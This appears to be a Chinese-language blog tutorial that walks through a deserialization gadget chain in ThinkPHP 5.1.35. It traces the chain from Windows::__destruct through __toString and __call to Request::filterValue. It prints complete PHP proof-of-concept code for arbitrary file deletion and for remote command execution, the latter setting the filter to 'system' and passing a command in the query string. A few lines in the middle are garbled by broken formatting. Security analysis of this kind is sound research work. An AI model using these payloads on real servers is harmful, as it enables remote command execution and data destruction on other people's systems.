安装compoer
https://install.phpcomposer.com/composer.phar
放在php目录下,在 PHP 安装目录下新建一个 composer.bat
文件,并将下列代码保存到此文件中
@php "%~dp0composer.phar" %*
进入web根目录进行安装
composer create-project topthink/think=5.1.35 tp5.1
访问
http://localhost/tp5.1/public/
需要编写一个控制器模块并存在反序列化可控点,这样才能进行利用
tp5.1\application\index\controller\Index.php
public function unser(){
$tmp = $_POST['test'];
echo $tmp;
unserialize(($tmp));
}
访问thinkphp路由
http://localhost/tp5.1/public/index.php/index/index/unser
漏洞的起点在 /thinkphp/library/think/process/pipes/Windows.php
的 __destruct()
__destruct析构函数一般用于在对象销毁前的清理任务
根据路径名和函数名也能看出这是windows下的文件相关引起的漏洞
close()
无法利用,跟进下 removeFiles()
函数
这里遍历了 files
,判断文件是否存在,如果存在就进行删除文件参数,并且这里 files
可控,所以存在一个任意文件删除漏洞
简单编写poc,更加清晰的展示出来。
namespace think\process\pipes;
class Windows
{
private $files = [];
#构造函数更改$files
public function __construct()
{
$this->files = ["C:\\Users\\jin\\Desktop\\1.txt"];
}
}
echo urlencode(serialize(new Windows()));
#这里可以看出namespace也需要带入
访问得到结果
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A26%3A%22C%3A%5CUsers%5Cjin%5CDesktop%5C1.txt%22%3B%7D%7D
利用我们刚刚在index控制器中创建的反序列化点,传入我们的payload,会发现创建的 1.txt
文件已经被删除了。
任意文件删除是一个小漏洞,命令执行才是我们关注的点
在 removeFiles()
函数中 file_exists
会进行传入参数当作字符串进行处理
但是这里如果我们传入的参数是一个对象,那么就会调用对象的 __toString
魔术方法,且files值我们可控
但是在 Windows
类中并没有 __toString
魔术方法
全局搜索下,这里我们选择了 thinkphp/library/think/model/concern/Conversion.php
中的 __toString
魔术方法
跟进下 toJson
方法
继续跟进toArray
方法
public function toArray()
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
list($relation, $name) = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
$item[$key] = $relation ? $relation->append($name)->toArray() : [];
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
$item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
} else {
$item[$name] = $this->getAttr($name, $item);
}
}
}
return $item;
}
最关键的地方就是看到了$relation->visible($name);
如果是可控变量->方法名(可控变量),这里的方法名无所谓因为可以用__call去执行,所以就可以想办法去寻找存在的可利用的方法或者__call。
这里 $this->append
可控,同时 $relation
会被 getRelation($key)
所控制,$relation->visible($name)
是可能会被我们所控制的
验证这个猜想,我们继续跟进下 getRelation
函数
第一层 $relation
要为null,代码才会继续往下执行,所以 getRelation
需要直接返回null
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible([$attr]);
}
}
然后继续跟进 getAttr
方法
继续跟进 getData
方法
到这里可以总结一下
回到 toArray
方法,整个流程就是这样的
当我们 $relation
为一个对象时,就可以进行调用类中的 visible
方法且传参可控,但是需要注意
_toString() trait Conversion类
toArray() trait Conversion类
getRelation() trait Attribute类
getAttr() trait Attribute类
自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。
为了让前面 __toString
魔术方法的对象能够同时继承Attribute类和Conversion类。我们需要寻找一个子类,经过寻找,我们找到了 Model
类,但是是个抽象类,抽象类不能直接实例化。
全局搜索后,选择了 Pivot
继承了 Model
类
全局搜索 visible
方法后,发现都无法利用
现在还缺少一个代码执行可导致RCE的点,需要满足一下条件
1.该类中没有visible
方法
2.类中实现了__call
方法
我们可以考虑 __call()
魔术方法,而且 __call
一般会存在 __call_user_func
和 __call_user_func_array
,php代码执行的终点经常选择这里。
但是 public function __call($method, $args)
我们只能控制 $args
,所以很多类都不可以用
__call():在对象中调用一个不可访问方法时调用
但是这里并不能直接利用达到命令执行,这里 $method
**是visible, a r g s 是 之 前 的 ∗ ∗ ‘ args是之前的**` args是之前的∗∗‘name **可控,但是有这行代码:**
array_unshift($args, t h i s ) ; ‘ ∗ ∗ 会 将 ∗ ∗ ‘ this);`**会将**` this);‘∗∗会将∗∗‘this**插到**
a r g s ‘ ∗ ∗ 前 面 , 使 得 构 造 的 ∗ ∗ ‘ args `**前面,使得构造的**` args‘∗∗前面,使得构造的∗∗‘method**执行的参数不可控,**
t h i s − > h o o k [ this->hook[ this−>hook[method]**是我们能控制的,我们可以构造一个hook数组**
h o o k = [ " v i s i b l e " = > " 任 意 方 法 " ] ‘ ∗ ∗ , 想 办 法 控 制 ∗ ∗ ‘ hook=["visible"=>"任意方法"]`**,想办法控制**` hook=["visible"=>"任意方法"]‘∗∗,想办法控制∗∗‘args就可以控制
call_user_func_array`
call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是这样,是很难进行命令执行的
$obj->$func($this,$argv)
Thinkphp作为一个web框架,Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处)所以可以尝试覆盖filter的方法去执行代码
我们找到Request类中的 filterValue
函数,但是 value
是形参不可控,如果我们直接在__call方法中直接调用 filterValue()
,那么现在 $value
的值始终是 [$this,xxx,xxx]
形式的,导致我们无法实现RCE
该方法调用了call_user_func函数,但$value
参数不可控,如果能找到一个$value
可控的点就好了。
发现input()满足条件,这里用了一个回调函数调用了filterValue,但参数不可控不能直接用
再找找哪个方法调用了input且参数可控,找到param方法
param
这里 this->param
完全可控,是通过get传参数进去的,那么也就是说input函数中的 data
参数可控,也就是 call_user_func
的 $value
,现在差一个条件,那就是 name
可控,继续回溯
在isAjax函数中,我们可以控制$this->config['var_ajax']
,$this->config['var_ajax']
可控就意味着param函数中的$name
可控。param函数中的$name
可控就意味着input函数中的$name
可控。
找到了链的起始位置为isAjax(),而执行代码的位置为input()函数中的filterValue()函数,我们把整个控制流程与代码汇总一下
首先在isAjax函数中,我们可以控制 this->config['var_ajax']
意味着param函数中的 $name
可控。
进入 param
方法
public function param($name = '', $default = null, $filter = '')
{
if (!$this->mergeParam) {
$method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
#调用input方法,$this->param为get与post所有参数,$name为isAjax传入,$default=null,$filter=''
return $this->input($this->param, $name, $default, $filter);
}
再回到input函数中
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {
list($name, $type) = explode('/', $name);
}
$data = $this->getData($data, $name);
#$data为get与post所有参数,$name的值来自于`$this->config['var_ajax']`
if (is_null($data)) {
return $default;
}
if (is_object($data)) {
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}
跟进到getData函数
protected function getData(array $data, $name)
{
foreach (explode('.', $name) as $val) {
if (isset($data[$val])) {
$data = $data[$val];
#$data为get与post所有参数,$name的值来自于$this->config['var_ajax']
#所以$data最后为get与post所有参数[$this->config['var_ajax']]
} else {
return;
}
}
return $data;
}
在跟进到getFilter函数
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
这里的$filter
来自于this->filter
,我们需要定义this->filter
为函数名
然后执行回调函数
array_walk_recursive($data, [$this, 'filterValue'], $filter);
输入的数组。
典型情况下 callback
接受两个参数。array
参数的值作为第一个,键名作为第二个。
注意:
如果
callback
需要直接作用于数组中的值,则给callback
的第一个参数指定为引用。这样任何对这些单元的改变也将会改变原始数组本身。
如果提供了可选参数 arg
,将被作为第三个参数传递给 callback
。
所以这里执行filterValue函数,filterValue.value
的值为第一个通过GET
请求的值,而filters.key
为GET
请求的键,并且filters.filters
就等于input.filters
的值。
现在就可以来构造POC了
namespace think\process\pipes;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct(){
$this->files=[new Pivot()];
}
}
namespace think;
abstract class Model{
protected $append=[];
private $data=[];
public function __construct(){
$this->append=["lyy9"=>['hello']];
$this->data=["lyy9"=>new Request()];
}
}
namespace think;
class Request{
protected $hook = [];
protected $filter;
protected $config;
public function __construct()
{
$this->hook['visible'] = [$this, 'isAjax'];
$this->filter = "system";
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows()));
访问:注意一定要使用pathinfo路由形式(系统默认)
路由形式:http://网址/入口文件/模块名(分组名)/控制器名/方法/参数名/参数值
http://localhost/tp5.1/public/index.php/index/index/unser?lyy9=dir
最后反序列化链
\thinkphp\library\think\process\pipes\Windows.php - > __destruct()
\thinkphp\library\think\process\pipes\Windows.php - > removeFiles()
Windows.php: file_exists()
thinkphp\library\think\model\concern\Conversion.php - > __toString()
thinkphp\library\think\model\concern\Conversion.php - > toJson()
thinkphp\library\think\model\concern\Conversion.php - > toArray()
thinkphp\library\think\Request.php - > __call()
thinkphp\library\think\Request.php - > isAjax()
thinkphp\library\think\Request.php - > param()
thinkphp\library\think\Request.php - > input()
thinkphp\library\think\Request.php - > filterValue()
unserialize(可控变量)
file_exists('phar://恶意文件')
通过 file_exists 函数将参数当做字符串执行从而触发类的 __toString 方法。
还有就是不存在可利用的visible函数时转向__call方法